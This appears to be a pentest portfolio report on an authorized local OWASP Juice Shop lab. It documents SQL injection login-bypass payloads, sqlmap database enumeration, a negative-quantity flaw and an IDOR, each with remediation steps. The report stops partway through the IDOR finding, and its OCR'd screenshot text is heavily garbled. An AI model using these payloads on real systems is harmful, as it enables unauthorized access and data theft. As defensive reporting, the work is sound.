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1. Executive Summary

This document records a structured web application security assessment of an authorized local OWASP Juice Shop
laboratory instance. This client-facing portfolio assessment demonstrates how SecuretechLabs performs authorized
web application security testing, evidence collection, risk analysis, remediation guidance and retesting for
organizations seeking to identify and reduce web application risk.

2. Scope & Authorization

Target: OWASP Juice Shop running in an authorized local laboratory environment.

In scope: application functionality, authentication and authorization controls, input handling, client-side behavior,
APIs, business logic and security-relevant application behavior exposed by the local target.

Out of scope: third-party systems, public infrastructure, real customer data and systems without explicit
authorization.

3. Assessment Methodology

The assessment follows a repeatable workflow:

Reconnaissance — Application Mapping — Attack-Surface Identification — Security Testing — Evidence Collection —
Risk Assessment — Remediation Recommendation — Retesting.

Each validated issue will receive a unique SecuretechLabs identifier such as STL-WEB-001.

4. Testing Environment

Primary laboratory components:

Kali Linux

OWASP Juice Shop
Docker

Burp Suite

Web browser

SQLmap

5. Application Reconnaissance

Records application entry points, authentication mechanisms, major pages, user workflows, API surfaces, interesting
parameters and observable technologies.

6. Vulnerability Findings

Each validated vulnerability will be documented consistently using: Finding ID, title, severity, category, affected
component, description, technical analysis, evidence, impact, remediation, references and retest status.
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7. Evidence & Validation

Evidence should demonstrate the security condition without exposing unnecessary secrets. Evidence includes
sanitized screenshots, relevant HTTP requests/responses, application behavior and a concise explanation of what
each artifact proves.

8. Risk Rating

Findings will be classified as Critical, High, Medium, Low or Informational. Severity will reflect realistic impact and
exploitability within the assessed application context.

9. Remediation & Retesting

Recommendations should be actionable for developers and system owners. After remediation, the original test should
be repeated and the finding status recorded as Pending, Fixed or Verified.

10. Conclusion

The final assessment will summarize the principal security observations, overall risk posture, remediation priorities
and lessons learned from the laboratory exercise.
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SecuretechlLabs Finding Template

We use this structure for every validated security finding in the assessment. For client engagements, each finding
should also records OWASP/CWE mapping, CVSS v3.1 score/vector where applicable, root cause, evidence basis,
business impact, remediation priority, retest criteria and finding relationships.

Finding ID STL-WEB-XXX

Title [Finding title]

Severity [Critical / High / Medium / Low / Informational]
Category [Security category]

Affected Component [Page / endpoint / function]

Pending / Fixed / Verified

Description [What is the security issue?]

Technical Analysis [Why does the issue occur?]

Evidence [Sanitized screenshots, requests, responses and
observations]

Impact [What could an attacker achieve?]

Remediation [Recommended corrective action]

Retest [Retest procedure and result]
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Risk Summary Dashboard

Critical 1 Immediate
High 9 High
Medium 0 Planned
Low 0 Routine
Informational 0 Observation

Portfolio Presentation Standard

We use sanitized evidence, consistent finding identifiers, concise technical explanations and remediation-
focused conclusions. This document demonstrates the assessment, evidence and reporting standard
SecuretechLabs can applies to authorized client engagements.
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STL-WEB-001

SQL Injection Authentication Bypass — Login Admin

The Login Admin challenge was successfully validated in the authorized local OWASP Juice Shop laboratory. Testing
demonstrated that attacker-controlled input in the login email parameter could alter the SQL query used for
authentication, allowing authentication to be bypassed without the legitimate administrator password.

Finding ID STL-WEB-001

Title SQL Injection Authentication Bypass — Login Admin
Severity CRITICAL

Category Injection / SQL Injection

Affected Component POST /rest/user/login

Affected Parameter Email

Database Observed SQLite

Status VERIFIED / SOLVED

Reproduction

1. A normal login request was observed through Burp Suite at POST /rest/user/login.

2. A single quotation mark was supplied in the email parameter to test SQL syntax handling.

3. The application returned HTTP 500 and disclosed an SQLite syntax error containing the generated SQL query.
4. Aboolean SQL expression was then supplied in the email parameter in the authorized laboratory.

5. The server returned HTTP 200 OK and authenticated the administrator account.

Evidence A — SQL Error / Injection Point

Burp request:

POST /rest/user/login
Content-Type: application/json

{"email":"'", "password”:"no"}

Relevant SQL disclosed by the error response:

SELECT * FROM Users WHERE email = ''' AND password = '[REDACTED]' AND deletedAt IS NULL

Observation

The database error confirms that the supplied email value affected SQL syntax and that database implementation details
were exposed to the client.
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Evidence B — Successful Authentication Bypass

Sanitized Burp request used in the authorized laboratory:

POST /rest/user/login
Content-Type: application/json

{"email":"' OR '1'="1"-- password"

Observed response:

HTTP/1.1 200 OK

{"authentication":{"token":"[REDACTED]","bid":1,"email": "admin@juice-sh.op"}}

The response identifying admin@juice-sh.op demonstrates successful administrator authentication.

Screenshot Evidence

Dashboard  Target  Proxy  Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Exensions  Discover
2 3 4 5 X +

EZR e o aF + BurpAl

Request Response a= =
Pretty  Raw  Hex " n Pretty  Raw  Hex  Render ® n

1 POST /rest/user/login HTTR/1.1 1 HTTR/L.1 200 OK

2 Host: 127.0.0.1:3000 2 Access-Comtrol-allow-Origin: *

5 Content-Length: 42 3 X-Content-Type-Options: nosniff

4 sec-ch-ua-platforn: "Linux" 4 %-Frame-Options: SAMEORIGIN

S Accept-Language: en-US,en;o=0,9 S Feature-Policy: payment 'self’

& Accept: application/json, text/plain, */+ 5 X-Recruiting: /#/jobs

7 sec-ch-ua: "Neot;A=Brand";v="8", "Chromium";v="150" 7 Content-Type: application/json: charset=utf-8

3 Content-Type: application/json 5 Content-Length: 784

9 sec-ch-ua-mobile: 70 S ETag: W/"310-w/ofiSLnCyTEnQvt¥pS;] +] 0By

O User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150,0.0.0 10 vary: Accept-Encoding
safari/s37.36 11 Date: Tue, 01 Sep 2026 15:00:53 GMT

1 Origin: http://127.0.8.1:3000 12 Connection: keep-alive]

2 Sec-Fetch-Site: same-origin 13 Keep-Alive: timeout=5

3 Sec-Fetch-Mode: cors 14
Sec-Fetch-Dest: empty 1
Referer: http://127.0.0.1:3000/ "authentication":{
Accept -Encoding: gzip, deflate, br “token*

Cookie: language=en; welcomebanner_status=disniss; cookieconsent_status=dismiss: continueCode=

0iJKV10iLCIhbGei0iISUzIINLIS, ey Ik YXRhIIp7InlkIjoxLCIlc2VybnFt ZSTEIiIs IVt YWL
9y ZCI6L AxOT IwMj NhN2J1ZDczMj UWNTE: ONRMMThiNT Awlivicn

TiwiZG¥sdXhl VGSrZW4101T1LCISYXNOTGINaWS IcCI6I11SInByb2Zph GV IbWFn ZS o

mYXVsdEFkbWLuLnBuZy TsTnRydHETZWNy ZX0101TiLCIpcBFj dGL

13 01YWRLalS
SIEInFkbWLU
aWlhz2vzL

o€

Doy OTo Gy 4y 1] 0Kz AwOj AwTiwi dXBkYXRL ZEFOT] 0iHj Ay NiOwOSOWMS AvNDoy OTo Oy 4y Mj OgKzAwej A
temail®:tt OR '1'='10--", AL ZEFOLj pudxsF SwiYnlkIioxLCIpYX0i0] E300gyNzQ4NTRS. d507 Fri BT_BNUUoPnSOHaDfekt WC_3JOFY
"password": "no" SzduMfL hpsoLTIbGeonl vaqUZ2x9shdE2ncwylj ZZb07Yut DLUASFHbz6BsvpTz_YVLELV7ydroB7pIArnk7xp

b 4UXonzKWS03gaRhe_MKHDBXHYKbGx OcedybuSxE" ,

Technical Analysis

The observed behavior is consistent with SQL injection in the login query. The application incorporated user-
controlled input into the SQL expression rather than treating it strictly as data. The injected boolean condition
changed the authentication query's logic, while the SQL comment syntax prevented the remaining password condition
from enforcing the intended check.
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Security Impact

¢ Authentication controls can be bypassed.
¢ An unauthorized user may obtain another user's privileges.
« Successful exploitation can provide access to administrator functionality.

» Verbose database errors reveal implementation details that can accelerate further attack development.

Remediation

» Use parameterized queries / prepared statements for authentication and all user-controlled database values.
¢ Do not construct SQL statements through string concatenation.

e Return generic authentication errors instead of raw database exceptions.

« Disable detailed stack traces and SQL statements in production responses.

¢ Add automated regression tests for SQL injection and authentication-bypass attempts.

Retest

After remediation, repeat the same controlled tests. The quotation-mark test should no longer expose a database
syntax error, and the previously successful SQL manipulation should fail authentication without creating an
administrator session.

References

OWASP SQL Injection Prevention Cheat Sheet; OWASP Juice Shop Companion Guide; CWE-89: Improper
Neutralization of Special Elements used in an SQL Command (SQL Injection).
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STL-WEB-002

SQL Injection — Product Search Database Enumeration & User Data Extraction

We tested Product Search. Testing confirmed that the q parameter of the product-search API is injectable and that the
vulnerability can be used to enumerate the SQLite database schema and retrieve records from the Users table.

Finding ID STL-WEB-002
Title SQL Injection — Product Search Database Enumeration
& User Data Extraction
Severity HIGH
Category Injection / SQL Injection
Affected Component GET /rest/products/search
Affected Parameter q
Database Observed SQLite
Status VERIFIED / SOLVED
Reproduction

1. A product-search request was captured through Burp Suite.

2. Asingle quotation mark was supplied to observe SQL syntax handling; the application returned HTTP 500 with an
SQLite syntax error and exposed the generated SQL statement.

3. sqlmap was then used against the authorized local request and identified the q parameter as injectable using
boolean-based blind, error-based and time-based techniques.

4. sqlmap fingerprinted the back-end DBMS as SQLite.

Database enumeration returned 22 tables.

6. The Users table was subsequently queried for id, email and role, demonstrating unauthorized database read
access.

v

Evidence A — Manual SQL Error

Sanitized request:

GET /rest/products/search?q="' HTTP/1.1
Host: 127.0.0.1:3000

Observed result: HTTP 500 Internal Server Error. The response disclosed SQLite syntax handling and the SQL
statement: SELECT * FROM Products WHERE ((name LIKE ... OR description LIKE ...) AND deletedAt IS NULL) ORDER
BY name

Observation: attacker-controlled q input reaches the database query construction and can alter SQL syntax.
Evidence B — Automated Injection Validation

sqlmap identified the following injection techniques for q: boolean-based blind, SQLite error-based and SQLite time-
based blind. The back-end DBMS was fingerprinted as SQLite.

Evidence C — Database Enumeration

The authorized assessment enumerated 22 tables:
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e Addresses
e Basketltems

e Baskets
e C(Captchas
e C(Cards

e ChallengeDependencies
e Challenges

e Complaints

e Deliveries

e Feedbacks

e Hints

e ImageCaptchas

e Memories

e PrivacyRequests

e Products

e  Quantities

e Recycles

e SecurityAnswers
e  SecurityQuestions
e Users

o Wallets

e sqlite_sequence

Evidence D — Users Table Extraction

The assessment successfully extracted the id, email and role columns from the Users table. The output contained 24
records, including administrator, customer, deluxe and accounting roles.

ID Email Role

1 admin@juice-sh.op customer
2 jim@juice-sh.op customer
5 cloud-admin@juice-sh.op admin

9 J12934@juice-sh.op admin

11 amy@juice-sh.op admin

13 bjoern@owasp.org admin

16 uvogin@juice-sh.op admin

21 ethereum@juice-sh.op accounting
24 basil@juice-sh.op deluxe

Note: The full sqlmap output was intentionally not reproduced in the portfolio. The evidence above is sanitized to
demonstrate the security impact without unnecessarily publishing sensitive assessment artifacts(we try as much to
develop this portfolio to exact clients report).

Technical Analysis

The q parameter is incorporated into a database search operation without adequate separation between SQL code and
user-controlled data. The observed error-based and boolean-based responses allowed sqlmap to infer database
behavior. Once injection was established, schema enumeration exposed the application's database structure and the
Users table could be queried.
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Security Impact

e Unauthorized database schema enumeration.
e Unauthorized extraction of user account metadata.

e Exposure of email addresses and privilege/role information.

e Potential escalation of impact if additional sensitive columns or tables are accessible.

e Database error disclosure provides useful information for further attack development.

Remediation

e Use parameterized queries / prepared statements for product searches and all database operations.

e Do not concatenate user-controlled input into SQL statements.

e  Apply strict server-side input handling and validation where appropriate, without relying on it as the primary

SQLi defense.

e Return generic application errors rather than raw SQLite/ORM errors or SQL statements.

e Ensure database accounts follow least privilege and cannot access unnecessary application data.

e Add automated SQL injection regression tests for search endpoints and API parameters.

Retest

After remediation, repeat the original q-parameter tests. A quotation mark should not produce a database syntax
error; boolean/error/time-based SQL manipulation should no longer produce distinguishable database behavior; and
schema/table extraction should fail. Record the final status as Fixed or Verified after successful retesting.

References

OWASP SQL Injection Prevention Cheat Sheet; OWASP Juice Shop Companion Guide; CWE-89 — Improper
Neutralization of Special Elements used in an SQL Command (SQL Injection).

Portfolio Evidence

e Screenshot 1: Burp Suite request showing the product-search endpoint and sanitized q injection test.

[

ESRG o | <~ + oAl

Request

Pretty  Raw Hex ESY w

. e e T e e e e M
2 Host: 127.0.0.1
S sec-ch-ua- Dla(fnrm "Linux®
4 authorization: Bearer
2y J0=XA101 JKVL0iLCIhbGE 03 ISUZTLNG 9. ey IKYXRRT jp7InlkT] uxLCJ](ZVyme{ZSIEI)ISIMWYWLSI]quWRtaWEAanVDYZLP((ZgubiA)LCJVVXNzd29yZCIE

Response

Pretty  Raw  Hex  Render

1 HTTP/1.1 500 Internal Server Error

2 Access-Cont rol -Allow-Origin: +
5 X-Content-Type-Options: nosniff
4 X-Frame-Options: SAMEORTGIN
Feature-Policy: payment 'self'
X

L) AT MIN2)120c i U NTE2Z, 3200 NT AL ivacns=2ol GTnr Kb uTis ZoVe 2L VGBr 21440 TaLC
ULBUZyT=TnRydHBT ZWNy ZXC101 1L CIp ;;ac\zzsmmumvanvxmzspon i

Ay 15.0wOSOwI1SAWNDOY OTOONY AyH] gz AwDj AwTiwidXBKYXRL ZEFDI] L Hj Ay i OWOSOWHSAWINDO Y OT0 ONy dy 1 Qg2 O] Awl i ZGVSZXRL ZEFOT] puchixs fSwiTnl

kT oxLCIpYXQi0] E30DgyNzYINTNS . rgCkUp JyDetuTez: -1 xD5AP3CkP_For¥i VL

ESTYZFOVE 4RY) yVDErIUES e P jcu

Accept -Language: en- =0

Aecept: amplication/icon. taxisptain, 1/t

sec-ch-uai "Not;A=Brand”;v="8", "Chromiun";v="1

5 User-Agent: Mozilla/s.0 (XL1; Linux x85 64) AoPlevebKit /537, 35 (KHTHL, like Gecke) Chrane/150.0.0.0 Safard/s37. 36

5 sec-ch-ua-mobile; 70

O Sec-Fetch-Site: same-origin

11 Sec-Fetch-Hode: cors

2 Sec-Fetch-Dest: empty

5 Referer: http://127.0.0,1;3000/

14 Accept-Encoding: geip, deflate, br

15 Cookie: language=en: welcomebanner_status=disniss: cookieconsent_status=dismiss: continueCode=

Ko 9y 80R4273vbEONSXSDYVNKL MIELSKKAES] ZLnGpwel2rakxgPoy JBLGJ; continueCoderindIt-
1kPyQzaiY2XKEMo: continueCodeFixTt=
9g 1 pel B13gnJBEVDEOR0Y ; t oken=

AT K 0L b cs (LTINS I3, oy S YA T LT3 ot A P 25T ET3 T2 Tt =15 I¥HNzd28y ZCT!

L) AxOTIH) MNNZ 120 2§ NTE2Z, 3200 NT L ivacoss2SI Ik uTives Zovs L VGor Z‘Ad)D)I)LCJSYXNOTGJHBWSJ(CIGI)IsInEyh 22pbGVIbWFNZ
LnBuzyTsInRudHETZAN, TiLey 33LYXRLZEFGTj 01k

Ay 15.0w0SOHISAWNDOY OTOONY dyH] gz AwDj AwTividXBkYXRL ZEFDI] oinj Aymwmwmnwunyorn Oy ay 4 gl szm ot )wlZGVsZXRl ZEFOT pudixsfSwivml
1] 0xLC.IpYX0i 0 ES0DgyNZY INTNS . rgCkUp Iy De g ) XDSAPSQkP._ForXitL 7Ihyveq
Z57¥2F0VtC Ry} y nVDErXUESSxaqpIpy ZF1EHSE cndl Jeu

& Gennestien. kespialivg

- b
Content -Type: application/json; charset=utf-g
5 Vary: Accept-Encoding

S Date: Wed. 02 Sep 2026 63:38:58 GHT

10 Connection: kesp-alive

11 Keep-Alive: timeout=5

12 content-Length: 321

Target:httpifi127.0.0.13000 (£ HTTPI
a= =
® n

“SELECT ¢ FROM Products WHERE ((nane LIKE “%'test'’ OR description LIKE *%'testi’) AND deletedit IS NULL) OROER BY name

14 4

15

16 " "SOLITE_ERROR: near \'test\": syntax error”,

17 Error: SOLITE_ERROR: near \"test\": syntax error”,
18 1

19 “(nde "SOLITE_ERROR",

21 b

22 3
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STL-WEB-003

SQL Injection in Login: Authentication Logic Manipulation

Finding ID STL-WEB-003
. SQL Injection in Login — Authentication Logic

Title . .
Manipulation

Severity HIGH

Category Injection / SQL Injection / CWE-89

Affected Component POST /rest/user/login

Affected Parameter email

Database Observed SQLite

Status VERIFIED / EXPLOITATION DEMONSTRATED
Related to STL-WEB-001; this section preserves the

Relationship to Earlier Finding earlier finding and records the additional validation
evidence separately.

Executive Summary

An additional SQL injection variant was validated against the login endpoint. The email parameter accepted SQL
syntax that altered the application's authentication query. A request containing a boolean expression and a filtering
condition was accepted with an arbitrary password, and the server returned HTTP 200 OK with an authenticated user
account.

This evidence demonstrates that the login control is vulnerable to manipulation of the authentication predicate. The

result authenticated the test session as a customer account rather than the administrator account

Assessment Context

Target: OWASP Juice Shop

Environment: Authorized local laboratory — 127.0.0.1:3000
Endpoint: POST /rest/user/login

Testing Tools: Burp Suite / HTTP request replay

Authentication Result: HTTP 200 OK; authenticated account returned

Credential Handling: The live JWT/session token is not reproduced; the SQL injection payload and observed
authentication result are retained as laboratory evidence.
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Reproduction Evidence

The following request was used during the authorized local OWASP Juice Shop laboratory test.

POST /rest/user/login HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json

"email":"" or 1=1 and email like('%bender%");--

, passwor

d":"."}

Observed response: HTTP/1.1 200 OK. The response contained an authentication object identifying the

resulting account as bender@juice-sh.op.

{"authentication":{"token":"[]","bid":3,"umail":"bender@juice-sh.op"}}

Cancel

EB @

Request

 BurpAl

Raw  Hex ® m

Pretty.

3 Content-Length: 67

£4300K101 KV Q1L CIGEI 03 ISUETNLI9. ey JVIRNT o710 K1 o2t CILC2VYbNF ZSITA TS IVt WL ST 1 mWZGUy QG Lol oL nSw i Gz Sdventi
01TwY 2M2ZTUXN2UZ Z0ESHNFh Y Ym0 ZnH2N2QOYTRL Zi TSTn JvbGUL 0L 3 dxNob211 ci Ts Tnl oiTiy
VIRZAUA01 The sl ey b1 3L ey STt YWRaL 2R n b S Tt 102 L 31 ACTET 121} S0MOa3zt 15 poe il L3 cmvhdcvkuxumuyMD
I2LTASLTAXIDAQC] 1507 Q3L IyNSArHDAGHDALL CILcGRAGGYK QXQi 011y HDI2LTASLT AXLDAQC] 150] 05L] Ly NSAr MDAGHDALLCIKZNALdGVKQXQi Ons1bGroLETi ane
10i Ms Il hdCTGHTE 4000} 03Hn0 . wGni h24TaL Y CTOKK 0 VBhKt 8PbnmSTRRCY 71372 Qnez RVEQURNY 01 XLWO AcHLNDS 3XL UV JDCYp BANt XBus 8Xp OMVSTHS1HY Q1

GEwy - H- OFN x05L. tR) DZIY) f_nx-78
5 Accept-Language: en-US,en;q=0.9
7 sec-ch-uai "NotiA=Brand®iv="8",

“Chromiun*;v="150"
8 sec-ch-ua-mobile: 70

9 User-Agent: Mozilla/5.0 (X11: Linux x86_64) ApplenebKit/S37.36 (KHTHL. like Gecko) Chrome/150.0.0.0 Safarifs37.36
0 Accept: application/json. text/plain, #/+

1
12

Content-Type: application/jsen
Origin: http://127.0.0.1:3000
Sec-Fetch-site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: enpty

5 Referer: httpi//127,0.0,1:3000/

7 Accept-Encoding: gzip, deflate, br

& Cookie: language=en; welconebanner_status=dismiss: cookieconsent_status=dismiss: continueCodeFindlt=

pL1kPyOzqj Y2XKEHo: continueCodeFixTt=

VEKN7 240vMZL vy 0PKqn25GODY X 71Yag ARQNr 26K 93 pel 8W3an JBEVHEOROY ; t oken=

y 306 X4 01.JKV1 Q1L CINbGE101 JSU=T1NA 39 ey Ik YXRhT] p7Tnl K 02LCI1c2VybnFt 25T 6T T Tnvt YWl ST o1 YnVuZGVy QGpLaWNl LXNoLmSwTiwi cGFzc 3dvcnai

O1TwY ZH2ZTUXN2U2 ZnESNNFRY Y xYim I ZnH2NZQ0Y TRL Zi TSTn JvbGU101 13 dXNOb2L1 ciTs TnRl bHYAZVRa2VUT] 01 TiwibGF2dExy 72 uSXALOI TLLCMCnInax1S

WINZ2U304 JheSNLdHMYSHVA bGL] L2Ut YWGIL €y 916Xy YWRzL 2Rl ZnFLbi TiwidGS0CFNLY3ILdCIELiTSIn Z0ANOaHZL 1 pOCNYLLCT] cnVhdGVKQXQLCLTYHD

T2LTASLTAXIDAO03 1507 03L TyNSArMDAGHDALL CJ1eGRhd Gk QXQi 01 Ty MDT2LTASLT AXIDAGO] 1507 03L3 Iy NSAr MDAGHDALLCIKZWx1 dGVKX010m51bGxLCIi W

1031 InL hdCIBHTA00QT 03hn0. WG h4TaL Y SPbanstRRcy HLNO4wcHLNDS3XLUVIDCVP BNt 0XBus BHpOMVITHSA HNy QL
~H-OHNd1 xo5L Nkt

Ay.vhchhhlu(ZwT]mdeJNS\JVEklLEQYAP-’\J(JIY

A_m-78;

2 {

or 1=1 and enail like( “sbenders'):
"password" ", ..
b

* POST /rest/user/login

e The SQL injection payload in the email field

« HTTP/1.1 200 OK

* bender@juice-sh.op returned by the application

Technical Analysis

Response

Pretty

Target:http://127.0.01:3000 29  HTTPA

a:= =
®@ v

Raw  Hex  Render

HTTP/1.1 200 0K
Access-Control -Allow-Origin: *

X-Content -Type-Options: nosniff
X-Frame-Options: SAMEORIGIN

featurepolicy  paynent "self"

¥-Recruiting: /2/]ol

Content-Type EDDllta(mn/]sun charset=utf-8

8 Content-Length
S ETag: W/*310- VJuh)UFS(KPDSIXGNZRSDWME/ZE

o Vary: Accept-Encoding

Date: Thu, 03 Sep 2026 05:15:52 GHT
Connection: keep-alive
Keep-Alive: timeout=s

“authentication”: {
“token"

“ey J0eXA101 JKVLO1LEINbGCL01 ISUZTING 9. ey JKYXRNT] p7Inl KTj 02LCILC2Vy bt ZSTEIATSTnVEYWLST] 01YnVuZGVy 0Gp1aWhL LXNoLnSwTivic

01Tz H2ZTI TRIZi TsTnJvbGU 01 3] dXNOb211 ci TsTnRLbHVAZVRva2VuT] o1 TiwibGFzdExvZ2lu

SXAL0i T1LCIwenSmahixl SWLhZ2U1 01 Jhc3NLdHiveHY bGLi L2L YWdL cy91.cGryYWRzL 2R1 ZnF1bHOUCSZn T1wi.d GS0CFNL Y31 dCISTL TS Tl 2QANOAXE.

1T pOcnVLLC)j cmvhdGVk 0XQ1 04 TyMDT2LT ASLT Ax TBACO] T50j G3Lj Ty NSArMDAGHDALLC J1cGRhdGVKQXQ1 04 Ty MDT 2L TASLTAXIDAQO] T50] Q3Lj TyNS

ArHDAGHMDALL C Ik ZWx1 dGVKQXG1 ONSLbGXGL C.J1aWQ10) HsTnl hdCL6MTC 400X Hj ULHNO. y HZE0 ERaNPEURSZVCPY dUGSEqwpE2neHz T FpY AN- TDeNSHens

- RuYg Q9pPH334x Hagnh JT g 4ACh PLaTSy - TnUAESFDDETkgBy tWASYYZUMt LAs f Vi NI7bHQRSTCyj - RzUQKSTAZ_94wdk1fruBpNr 0spxscsy
¥y

“bid":3,
“unail®: "bender@uice-sh.op"

The test demonstrates that attacker-controlled input in the email field can influence the SQL authentication predicate.
The application accepted a syntactically valid SQL expression and returned an authenticated session despite the
supplied password not being the legitimate password for the resulting account.

The result is consistent with insufficient separation between SQL code and user-supplied data. It provides an

additional validation point for the SQL injection weakness.

Security Impact

e Authentication controls can be bypassed or altered through crafted input.

e An attacker may be able to cause the application to authenticate a different account.

e Account-selection manipulation can expose functionality or data associated with the selected account.

e The demonstrated impact becomes more severe if an administrator or higher-privileged account can be selected.
]

Remediation

www.securetechlabs.com

The vulnerability provides further evidence that the login endpoint requires parameterized database access.

Use parameterized queries/prepared statements for the entire authentication workflow.
Never concatenate email, password, or other user-controlled values into SQL statements.
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e Apply server-side validation appropriate to the application's data model, while treating validation as defense-in-
depth rather than the primary SQLi control.

e Return generic authentication failures and do not expose SQL syntax errors or generated queries.
e Invalidate and rotate exposed test credentials/tokens after laboratory testing.
e Add automated regression tests covering boolean SQL manipulation and comment-based SQLi attempts.

Retest

After remediation, replay the sanitized request and equivalent SQL injection tests. Expected behavior is HTTP
401/400 or another normal authentication failure, with no authenticated session being created from an invalid
password. Database errors and SQL statements should not be disclosed to the client.

www.securetechlabs.com +254114496452 info@securetechlabs.com
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STL-WEB-004

Negative Basket Item Quantity Accepted

Finding ID

STL-WEB-004

Severity

Medium

Category

Business Logic / Input Validation

Affected Component

PUT /api/Basketltems/{id}

Affected Parameter

quantity

Environment

OWASP Juice Shop — authorized local laboratory

Target

127.0.0.1:3000

Status

VERIFIED / EXPLOITATION DEMONSTRATED

Executive Summary

The basket-item update endpoint accepted a negative quantity without rejecting the request. In the controlled
laboratory test, the quantity value was changed to -2 and the application returned HTTP 200 OK with the modified

negative value persisted.

This demonstrates missing server-side business-rule validation for basket quantities. Negative quantities can corrupt
shopping-cart state and may create unintended pricing, inventory or transaction behavior depending on how

downstream calculations use the value.

Technical Validation

PUT /api/Basketltems/12 HTTP/1.1
Host: 127.0.0.1:3000

Content-Type: application/json
{"quantity":-2}

Observed response: HTTP/1.1 200 OK

{"status":"success","data":{"Productld":1,"Basketld":3,"id":

ERe o= <

Request

% BurpA

Pretty Raw Hex = w o=

2 Hest: 127.0,0,1:3000

5 Content-Length: 15

4 sec-ch-ua-platforms “Linux*

S Authorization: Bearer
£7306 X401 JCVLO1LCINbGCA 018Uz INLS &y KT LIDTLALKL 02l CILCaVy bt ZST6 LSTH VL ST TmUZGW QGpLaMNL LiloLnDuT i cGrac3dvengi
03w 2H2ZTUXNN2U2ZWES NFhY nY XY InZnH2NZQOYTRL 74 TTn JvbGUS 01 ] dxh0b 211 ¢4 TTn | USXAL0i TiL CIwe
NInEA A DheoHL VB BTN YT RSL2R 0L DG ST SwAdCBOCEN 5.1 ACTel 1€ SONDXE: 1opoer L3I ACHK XER DL ol
T2LTASLTAXIDACD] IS0} Q3L LyNSAr HDAGHDALLCI1CGRAIGVK QXQ1.01 Ty MDI2L TASLT A LDAGO] 1501 Q3] LyNSArHDAGHDALLC JkZ<1 dGVkQXQi OnSLb GxLCTiag

12,"quantity":-2}}

Response

Pretty  Raw  Hex  Render

1 HTTP/1.1 200 0K

2 Access-Control -Allow-Origin: *

5 X-Content-Type-Options: nosniff

4 X-Frame-Options: SAMEORIGIN

S Feature-Policy: payment 'self'

5 X-Recruiting: /#/]obs

7 Content-Type: application/json; charset=utf-8
 Content-Length: 156

303 Ms Inl hd CIEHT  4000xHj UDOXO. y i 2RRk b - rHSokk JWgdlbgeF2Lj A= nQYDGHa WRGt XSLOY ¢ AubSSTrreSKC] TdZT0LY ‘aSprkanaf; bS] QH3T)
462w _hZs] EV70y_XMJ] twppHugGwaT 2Vl 7nL gC4LEds0D0aWYRNFLNSKFToY Lo J5Hn Vo
& Accept-Language: en-US.en:g=0.5
7 sec-ch-ua: "Not:A=Brand*;v="8",
sec-ch-ua-nebile; 70
G User-Agent: Mozilla/5.0 (XIL: Linux x86_64) AppleNebKit/S37.35 (KHTML, like Gecke) Chrome/150.0.0.0 Safari/S37.36
Accept: application/json, text/plain, */*
Content-Type: application/ison
origin: http://127.0.0.1:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Hode: cors
Sec-Fetch-Desti empty
& Referer: http://127.0.0.1:3000/
7 Accept-Encoding: gzip, deflate, br
5 Cookic: language=en; welconebanner_status=disniss; status=disniss; -
bDx01r 501 Ly Qza) TKEND: continueCodeFixIt=

“Chromiun®; v="150"

9308 4201 IKVL 03L.CIbEz 01 1SUZ 1N 39 emvxmmwmm et ooy e ZSIEI;IsImV‘W‘h’lstnsVmVuZGVyUG\s]sw\llLXNanQqu;:GFz:Sz\vcmus
01 TwYZH2ZTUxNZU2ZNESNAFhY XY n JnZnH2NzQOY TRL 24 15Tn JvbGUi01.0] dxNob 211 ci TS TRl USKALO1 T1LCavemSnanxl 5
VERZEUAOL The S S A6 8 S L xRt B 20T b ST 2o dGE0CFU Y| ETaT Tt SIS E3 e n LT 505 O Tl
T2LTASLTAXIDAGO] TS0] 03L] TyNSAr MDAGHDARLCJ1CGRhGVK 0XQ1.01 TyMDI 2L TASLTAx IDAQ0] 1507 05L] IyNSAr HDAGHDALLC Ik ZWx1 dGVKOXQ1 OnS1b GxSLCTiaha
10§ MsTnl hd CTGHT c40DQxH} UOOXO. y i 2RRkbs - rHSoKk Mgdbg F2Lj A=4nQYDGHq RSt XSUQY c AubSsTre SKC TdZT0LWhYgyyqSprKnnaf fbS] GHIT AvA44EESqSC
462w _hZs]EV70y_XMJ] twppHu gGwaT 2Yl 7nLaCALBds0D0AWYRNFLhSKFToY Lo JSHnVo: continueCode=

Zn2NBP rpa7Yez05ByNLa Gk OS7 cBEho 9cZKT 76HYw GE3b-4RIEXVKL nwDxKg0J

19 Connectian., keep:alive

2o
"quantity®:-2
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5 ETag: W/"Sc-nMNrt478FMiEN/YgnSiGONSexI0"
10 vary: Accept-Encodin
11 Date: Thu, O3 Sep 2026 06:38:55 GHT
12 Connection: keep-alive
15 Keep-Alive: timeout=5
14
15 14
“status”: "success”,
“data i {

126-09-03T08: 14137, 2702",
“updatedAt” ;" 2026- 09-03TO6: 38155, 4612"
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Security Impact

e The server accepts a value outside the expected quantity domain.

e A malicious user can manipulate their basket state using a negative quantity.

e Depending on application calculations, negative quantities may affect totals, inventory, discounts or order
processing.

e The observed test demonstrates a business-logic/input-validation weakness; it does not by itself prove a
monetary loss.

Remediation

e Enforce quantity as a positive integer on the server.

e  Apply explicit minimum and maximum quantity rules before database updates.

e Reject zero and negative quantities with a validation error.

e Repeat validation at the business-service layer rather than relying only on client-side controls.
e Add automated regression tests for negative, zero, fractional and excessively large quantities.

Retest

After remediation, submitting quantity=-2 should be rejected and the stored Basketltem quantity should remain
unchanged. Valid positive quantities should continue to work normally.

www.securetechlabs.com +254114496452 info@securetechlabs.com
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STL-WEB-005

Broken Access Control / IDOR in Basket Retrieval

Finding ID STL-WEB-005

Severity High

Category Broken Access Control / IDOR / CWE-639

Affected Component GET /rest/basket/{basketld}

Affected Parameter basketld

Target 127.0.0.1:3000

Status VERIFIED / UNAUTHORIZED OBJECT ACCESS DEMONSTRATED

Executive Summary

A broken access-control condition was demonstrated by changing the basket identifier in the API request. While
operating with a session associated with user ID 3, a request for basket ID 4 returned HTTP 200 OK and disclosed
basket data whose Userld was 11.

The controlled comparison with basket ID 3 indicates that authorization was not properly enforced against the
requested basket object. This is consistent with an Insecure Direct Object Reference (IDOR) / Broken Object Level
Authorization condition.

Technical Validation

GET /rest/basket/4 HTTP/1.1

Host: 127.0.0.1:3000

Authorization: Bearer <laboratory-session-token>
Observed response: HTTP/1.1 200 OK

